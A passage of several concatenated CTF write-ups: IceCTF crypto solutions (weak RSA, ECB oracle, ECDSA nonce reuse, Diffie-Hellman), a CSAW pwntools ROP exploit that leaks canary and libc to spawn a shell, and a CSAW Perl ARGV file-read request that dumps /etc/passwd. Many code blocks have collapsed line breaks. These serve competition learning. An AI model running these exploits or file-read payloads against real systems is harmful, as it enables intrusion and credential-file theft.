N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# Tutorial
```gdb-peda$ checksecCANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```
As we can see, the binary contains NX + canary. Still this does not mean that the exploitation would be more difficult, because there is a puts leak (option 1) and canary leak (option 2).
Exploit:
```python#!/usr/bin/env python
from pwn import *from sys import argv
local = False
def p(string): print text.green_on_black("[*] " + string)
def leak_canary(): x.send("2\n\n") x.recvline() x.recvline() return u64(x.recvline()[311:319])
def leak_puts_address(): x.send("1\n") x.recvuntil("Reference:") puts_addr = int(x.recvline().rstrip(), 16) + 0x500 x.recvuntil('>') return puts_addr
def send_exploit(canary, system, shell, dup2, descriptor): pop_rdi_ret_address = 0x4012e3 pop_rsi_pop_r15_ret_address = 0x4012e1
x.sendline("2") x.recvuntil('>')
payload = "A" * 312 payload += p64(canary) payload += "Aa0Aa1Aa"
""" dup2(rdi = 5, rsi = 0) dup2(rdi = 5, rsi = 1) """ payload += p64(pop_rdi_ret_address) payload += p64(descriptor)
payload += p64(pop_rsi_pop_r15_ret_address) payload += p64(0) payload += p64(0xdeadbeef) payload += p64(dup2)
payload += p64(pop_rsi_pop_r15_ret_address) payload += p64(1) payload += p64(0xdeadbeef) payload += p64(dup2)
payload += p64(pop_rdi_ret_address) payload += p64(shell)
payload += p64(system)
x.sendline(payload)
if __name__ == "__main__":
if local: x = remote('127.0.0.1', argv[1]) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') descriptor = 5 else: x = remote('pwn.chal.csaw.io', '8002') libc = ELF('./libc-2.19.so') descriptor = 4 x.recvuntil(">")
canary_leak = leak_canary() p(hex(canary_leak) + " <- leaked canary")
puts_leak = leak_puts_address() p(hex(puts_leak) + " <- leaked puts() address")
libc.address = puts_leak - libc.symbols['puts'] p(hex(libc.address) + " <- libc base address")
system_address = libc.symbols['system'] p(hex(system_address) + " <- computed system() address")
dup2_address = libc.symbols['dup2'] p(hex(dup2_address) + " <- computed dup2() address")
shell_address = next(libc.search('sh\x00')) p(hex(shell_address) + " <- computed 'sh\\x00' address")
send_exploit(canary_leak, system_address, shell_address, dup2_address, descriptor)
x.interactive()```
```$ ./exploit.py[+] Opening connection to pwn.chal.csaw.io on port 8002: Done[*] '/root/Tutorial/libc-2.19.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] 0xb07981a03b326d00 <- leaked canary[*] 0x7f70aa363d60 <- leaked puts() address[*] 0x7f70aa2f4000 <- libc base address[*] 0x7f70aa33a590 <- computed system() address[*] 0x7f70aa3dfe90 <- computed dup2() address[*] 0x7f70aa305c37 <- computed 'sh\x00' address[*] Switching to interactive modeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00m2;\xa0\x81y\xb0Aa0A$ iduid=1000(tutorial) gid=1000(tutorial) groups=1000(tutorial)$ lsflag.txttutorialtutorial.c```
`tutorial.c`:
```c#define _GNU_SOURCE#include <stdio.h>#include <pwd.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <sys/types.h>#include <arpa/inet.h>#include <netinet/in.h>#include <dlfcn.h>#include <errno.h>#include <signal.h>#include <unistd.h>#include <stdint.h>
int priv(char *username) { struct passwd *pw = getpwnam(username); if (pw == NULL) { fprintf(stderr, "User %s does not exist\n", username); return 1; }
if (chdir(pw->pw_dir) != 0) { perror("chdir"); return 1; }
if (setgroups(0, NULL) != 0) { perror("setgroups"); return 1; }
if (setgid(pw->pw_gid) != 0) { perror("setgid"); return 1; }
if (setuid(pw->pw_uid) != 0) { perror("setuid"); return 1; }
return 0;}
void func1(int fd){
char address[50]; void (*puts_addr)(int) = dlsym(RTLD_NEXT,"puts"); write(fd,"Reference:",10); sprintf(address,"%p\n",puts_addr-0x500); write(fd,address,15);
}
void func2(int fd){ char pov[300]; bzero(pov,300);
write(fd,"Time to test your exploit...\n",29); write(fd,">",1); read(fd,pov,460); write(fd,pov,324);
}
void menu(int fd){ while(1){ char option[2]; write(fd,"-Tutorial-\n",11); write(fd,"1.Manual\n",9); write(fd,"2.Practice\n",11); write(fd,"3.Quit\n",7); write(fd,">",1); read(fd,option,2); switch(option[0]){ case '1': func1(fd); break; case '2': func2(fd); break; case '3': write(fd,"You still did not solve my challenge.\n",38); return; default: write(fd,"unknown option.\n",16); break; } }}
int main( int argc, char *argv[] ) { int five; int myint = 1; struct sockaddr_in server,client; sigemptyset((sigset_t *)&five); int init_fd = socket(AF_INET, SOCK_STREAM, 0);
if (init_fd == -1) { perror("socket"); exit(-1); } bzero((char *) &server, sizeof(server));
if(setsockopt(init_fd,SOL_SOCKET,SO_REUSEADDR,&myint,sizeof(myint)) == -1){ perror("setsocket"); exit(-1); }
server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(atoi(argv[1]));
if (bind(init_fd, (struct sockaddr *) &server, sizeof(server)) == -1) { perror("bind"); exit(-1); }
if((listen(init_fd,20)) == -1){ perror("listen"); exit(-1); } int addr_len = sizeof(client);
while (1) {
int fd = accept(init_fd,(struct sockaddr *)&client,(socklen_t*)&addr_len);
if (fd < 0) { perror("accept"); exit(1); } pid_t pid = fork();
if (pid == -1) { perror("fork"); close(fd); }
if (pid == 0){ alarm(15); close(init_fd); int user_priv = priv("tutorial"); if(!user_priv){ menu(fd); close(fd); exit(0); } }else{ close(fd); }
} close(init_fd);}```
```$ cat flag.txtFLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}``` |
# I Got Id
Regular request:
```POST /cgi-bin/file.pl HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727Content-Length: 340
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"; filename="test.txt"Content-Type: text/plain
abcd
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="Submit!"
Submit!-----------------------------1308552532609826431173673727--```
```HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Sat, 17 Sep 2016 09:58:10 GMTContent-Type: text/html; charset=ISO-8859-1Content-Length: 560Connection: closeVary: Accept-Encoding
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> <head> <title>Perl File Upload</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> <body> <h1>Perl File Upload</h1> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file" /> <input type="submit" name="Submit!" value="Submit!" /> </form> <hr />abcd</body></html>```
Sending `file` parameter twice to obtain LFI:
```POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727Content-Length: 476
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"Content-Type: text/plain
ARGV-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"; filename="test.txt"Content-Type: text/plain
abcd-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="Submit!"
Submit!-----------------------------1308552532609826431173673727--```
```HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Sat, 17 Sep 2016 10:04:42 GMTContent-Type: text/html; charset=ISO-8859-1Content-Length: 1927Connection: closeVary: Accept-Encoding
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> <head> <title>Perl File Upload</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> <body> <h1>Perl File Upload</h1> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file" /> <input type="submit" name="Submit!" value="Submit!" /> </form> <hr />root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus 